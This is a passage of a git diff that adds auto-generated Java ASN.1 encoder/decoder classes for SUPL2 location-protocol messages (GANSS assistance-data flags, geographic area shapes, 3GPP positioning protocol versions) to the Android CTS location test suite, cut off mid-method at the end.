+ return "ganssReferenceTimeType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssIonosphericModelType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ganssIonosphericModelType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssIonosphericModelType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssIonosphericModelType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssIonosphericModelType != null) {
+ return ImmutableList.of(TAG_ganssIonosphericModelType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssIonosphericModelType from encoded stream.
+ */
+ public static ganssIonosphericModelType fromPerUnaligned(byte[] encodedBytes) {
+ ganssIonosphericModelType result = new ganssIonosphericModelType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssIonosphericModelType from encoded stream.
+ */
+ public static ganssIonosphericModelType fromPerAligned(byte[] encodedBytes) {
+ ganssIonosphericModelType result = new ganssIonosphericModelType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssIonosphericModelType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssAdditionalIonosphericModelForDataID00Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ganssAdditionalIonosphericModelForDataID00Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssAdditionalIonosphericModelForDataID00Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssAdditionalIonosphericModelForDataID00Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssAdditionalIonosphericModelForDataID00Type != null) {
+ return ImmutableList.of(TAG_ganssAdditionalIonosphericModelForDataID00Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssAdditionalIonosphericModelForDataID00Type from encoded stream.
+ */
+ public static ganssAdditionalIonosphericModelForDataID00Type fromPerUnaligned(byte[] encodedBytes) {
+ ganssAdditionalIonosphericModelForDataID00Type result = new ganssAdditionalIonosphericModelForDataID00Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssAdditionalIonosphericModelForDataID00Type from encoded stream.
+ */
+ public static ganssAdditionalIonosphericModelForDataID00Type fromPerAligned(byte[] encodedBytes) {
+ ganssAdditionalIonosphericModelForDataID00Type result = new ganssAdditionalIonosphericModelForDataID00Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssAdditionalIonosphericModelForDataID00Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssAdditionalIonosphericModelForDataID11Type extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ganssAdditionalIonosphericModelForDataID11Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssAdditionalIonosphericModelForDataID11Type() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssAdditionalIonosphericModelForDataID11Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssAdditionalIonosphericModelForDataID11Type != null) {
+ return ImmutableList.of(TAG_ganssAdditionalIonosphericModelForDataID11Type);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssAdditionalIonosphericModelForDataID11Type from encoded stream.
+ */
+ public static ganssAdditionalIonosphericModelForDataID11Type fromPerUnaligned(byte[] encodedBytes) {
+ ganssAdditionalIonosphericModelForDataID11Type result = new ganssAdditionalIonosphericModelForDataID11Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssAdditionalIonosphericModelForDataID11Type from encoded stream.
+ */
+ public static ganssAdditionalIonosphericModelForDataID11Type fromPerAligned(byte[] encodedBytes) {
+ ganssAdditionalIonosphericModelForDataID11Type result = new ganssAdditionalIonosphericModelForDataID11Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssAdditionalIonosphericModelForDataID11Type = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssEarthOrientationParametersType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ganssEarthOrientationParametersType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssEarthOrientationParametersType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssEarthOrientationParametersType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssEarthOrientationParametersType != null) {
+ return ImmutableList.of(TAG_ganssEarthOrientationParametersType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssEarthOrientationParametersType from encoded stream.
+ */
+ public static ganssEarthOrientationParametersType fromPerUnaligned(byte[] encodedBytes) {
+ ganssEarthOrientationParametersType result = new ganssEarthOrientationParametersType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssEarthOrientationParametersType from encoded stream.
+ */
+ public static ganssEarthOrientationParametersType fromPerAligned(byte[] encodedBytes) {
+ ganssEarthOrientationParametersType result = new ganssEarthOrientationParametersType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssEarthOrientationParametersType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GanssRequestedCommonAssistanceDataList = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedGenericAssistanceDataList.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedGenericAssistanceDataList.java
new file mode 100755
index 0000000..879e7e9
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GanssRequestedGenericAssistanceDataList.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GanssRequestedGenericAssistanceDataList
+ extends Asn1SequenceOf<GanssReqGenericData> {
+ //
+
+ private static final Asn1Tag TAG_GanssRequestedGenericAssistanceDataList
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GanssRequestedGenericAssistanceDataList() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GanssRequestedGenericAssistanceDataList;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GanssRequestedGenericAssistanceDataList != null) {
+ return ImmutableList.of(TAG_GanssRequestedGenericAssistanceDataList);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GanssRequestedGenericAssistanceDataList from encoded stream.
+ */
+ public static GanssRequestedGenericAssistanceDataList fromPerUnaligned(byte[] encodedBytes) {
+ GanssRequestedGenericAssistanceDataList result = new GanssRequestedGenericAssistanceDataList();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GanssRequestedGenericAssistanceDataList from encoded stream.
+ */
+ public static GanssRequestedGenericAssistanceDataList fromPerAligned(byte[] encodedBytes) {
+ GanssRequestedGenericAssistanceDataList result = new GanssRequestedGenericAssistanceDataList();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GanssReqGenericData createAndAddValue() {
+ GanssReqGenericData value = new GanssReqGenericData();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GanssRequestedGenericAssistanceDataList = [\n");
+ final String internalIndent = indent + " ";
+ for (GanssReqGenericData value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GeoAreaShapesSupported.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GeoAreaShapesSupported.java
new file mode 100755
index 0000000..c9ac892
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/GeoAreaShapesSupported.java
@@ -0,0 +1,443 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GeoAreaShapesSupported extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GeoAreaShapesSupported
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GeoAreaShapesSupported() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GeoAreaShapesSupported;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GeoAreaShapesSupported != null) {
+ return ImmutableList.of(TAG_GeoAreaShapesSupported);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GeoAreaShapesSupported from encoded stream.
+ */
+ public static GeoAreaShapesSupported fromPerUnaligned(byte[] encodedBytes) {
+ GeoAreaShapesSupported result = new GeoAreaShapesSupported();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GeoAreaShapesSupported from encoded stream.
+ */
+ public static GeoAreaShapesSupported fromPerAligned(byte[] encodedBytes) {
+ GeoAreaShapesSupported result = new GeoAreaShapesSupported();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GeoAreaShapesSupported.ellipticalAreaType ellipticalArea_;
+ public GeoAreaShapesSupported.ellipticalAreaType getEllipticalArea() {
+ return ellipticalArea_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GeoAreaShapesSupported.ellipticalAreaType
+ */
+ public void setEllipticalArea(Asn1Object value) {
+ this.ellipticalArea_ = (GeoAreaShapesSupported.ellipticalAreaType) value;
+ }
+ public GeoAreaShapesSupported.ellipticalAreaType setEllipticalAreaToNewInstance() {
+ ellipticalArea_ = new GeoAreaShapesSupported.ellipticalAreaType();
+ return ellipticalArea_;
+ }
+
+ private GeoAreaShapesSupported.polygonAreaType polygonArea_;
+ public GeoAreaShapesSupported.polygonAreaType getPolygonArea() {
+ return polygonArea_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GeoAreaShapesSupported.polygonAreaType
+ */
+ public void setPolygonArea(Asn1Object value) {
+ this.polygonArea_ = (GeoAreaShapesSupported.polygonAreaType) value;
+ }
+ public GeoAreaShapesSupported.polygonAreaType setPolygonAreaToNewInstance() {
+ polygonArea_ = new GeoAreaShapesSupported.polygonAreaType();
+ return polygonArea_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getEllipticalArea() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEllipticalArea();
+ }
+
+ @Override public void setToNewInstance() {
+ setEllipticalAreaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GeoAreaShapesSupported.ellipticalAreaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ellipticalArea : "
+ + getEllipticalArea().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getPolygonArea() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPolygonArea();
+ }
+
+ @Override public void setToNewInstance() {
+ setPolygonAreaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GeoAreaShapesSupported.polygonAreaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "polygonArea : "
+ + getPolygonArea().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ellipticalAreaType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_ellipticalAreaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ellipticalAreaType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ellipticalAreaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ellipticalAreaType != null) {
+ return ImmutableList.of(TAG_ellipticalAreaType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ellipticalAreaType from encoded stream.
+ */
+ public static ellipticalAreaType fromPerUnaligned(byte[] encodedBytes) {
+ ellipticalAreaType result = new ellipticalAreaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ellipticalAreaType from encoded stream.
+ */
+ public static ellipticalAreaType fromPerAligned(byte[] encodedBytes) {
+ ellipticalAreaType result = new ellipticalAreaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ellipticalAreaType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class polygonAreaType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_polygonAreaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public polygonAreaType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_polygonAreaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_polygonAreaType != null) {
+ return ImmutableList.of(TAG_polygonAreaType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new polygonAreaType from encoded stream.
+ */
+ public static polygonAreaType fromPerUnaligned(byte[] encodedBytes) {
+ polygonAreaType result = new polygonAreaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new polygonAreaType from encoded stream.
+ */
+ public static polygonAreaType fromPerAligned(byte[] encodedBytes) {
+ polygonAreaType result = new polygonAreaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "polygonAreaType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GeoAreaShapesSupported = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP.java
new file mode 100755
index 0000000..fbd67e8
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ulp_version_2_parameter_extensions/PosProtocolVersion3GPP.java
@@ -0,0 +1,588 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ulp_version_2_parameter_extensions;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class PosProtocolVersion3GPP extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_PosProtocolVersion3GPP
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PosProtocolVersion3GPP() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PosProtocolVersion3GPP;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PosProtocolVersion3GPP != null) {
+ return ImmutableList.of(TAG_PosProtocolVersion3GPP);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PosProtocolVersion3GPP from encoded stream.
+ */
+ public static PosProtocolVersion3GPP fromPerUnaligned(byte[] encodedBytes) {
+ PosProtocolVersion3GPP result = new PosProtocolVersion3GPP();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PosProtocolVersion3GPP from encoded stream.
+ */
+ public static PosProtocolVersion3GPP fromPerAligned(byte[] encodedBytes) {
+ PosProtocolVersion3GPP result = new PosProtocolVersion3GPP();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private PosProtocolVersion3GPP.majorVersionFieldType majorVersionField_;
+ public PosProtocolVersion3GPP.majorVersionFieldType getMajorVersionField() {
+ return majorVersionField_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosProtocolVersion3GPP.majorVersionFieldType
+ */
+ public void setMajorVersionField(Asn1Object value) {
+ this.majorVersionField_ = (PosProtocolVersion3GPP.majorVersionFieldType) value;
+ }
+ public PosProtocolVersion3GPP.majorVersionFieldType setMajorVersionFieldToNewInstance() {
+ majorVersionField_ = new PosProtocolVersion3GPP.majorVersionFieldType();
+ return majorVersionField_;
+ }
+
+ private PosProtocolVersion3GPP.technicalVersionFieldType technicalVersionField_;
+ public PosProtocolVersion3GPP.technicalVersionFieldType getTechnicalVersionField() {
+ return technicalVersionField_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosProtocolVersion3GPP.technicalVersionFieldType
+ */
+ public void setTechnicalVersionField(Asn1Object value) {
+ this.technicalVersionField_ = (PosProtocolVersion3GPP.technicalVersionFieldType) value;
+ }
+ public PosProtocolVersion3GPP.technicalVersionFieldType setTechnicalVersionFieldToNewInstance() {
+ technicalVersionField_ = new PosProtocolVersion3GPP.technicalVersionFieldType();
+ return technicalVersionField_;
+ }
+
+ private PosProtocolVersion3GPP.editorialVersionFieldType editorialVersionField_;
+ public PosProtocolVersion3GPP.editorialVersionFieldType getEditorialVersionField() {
+ return editorialVersionField_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosProtocolVersion3GPP.editorialVersionFieldType
+ */
+ public void setEditorialVersionField(Asn1Object value) {
+ this.editorialVersionField_ = (PosProtocolVersion3GPP.editorialVersionFieldType) value;
+ }
+ public PosProtocolVersion3GPP.editorialVersionFieldType setEditorialVersionFieldToNewInstance() {
+ editorialVersionField_ = new PosProtocolVersion3GPP.editorialVersionFieldType();
+ return editorialVersionField_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMajorVersionField() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMajorVersionField();
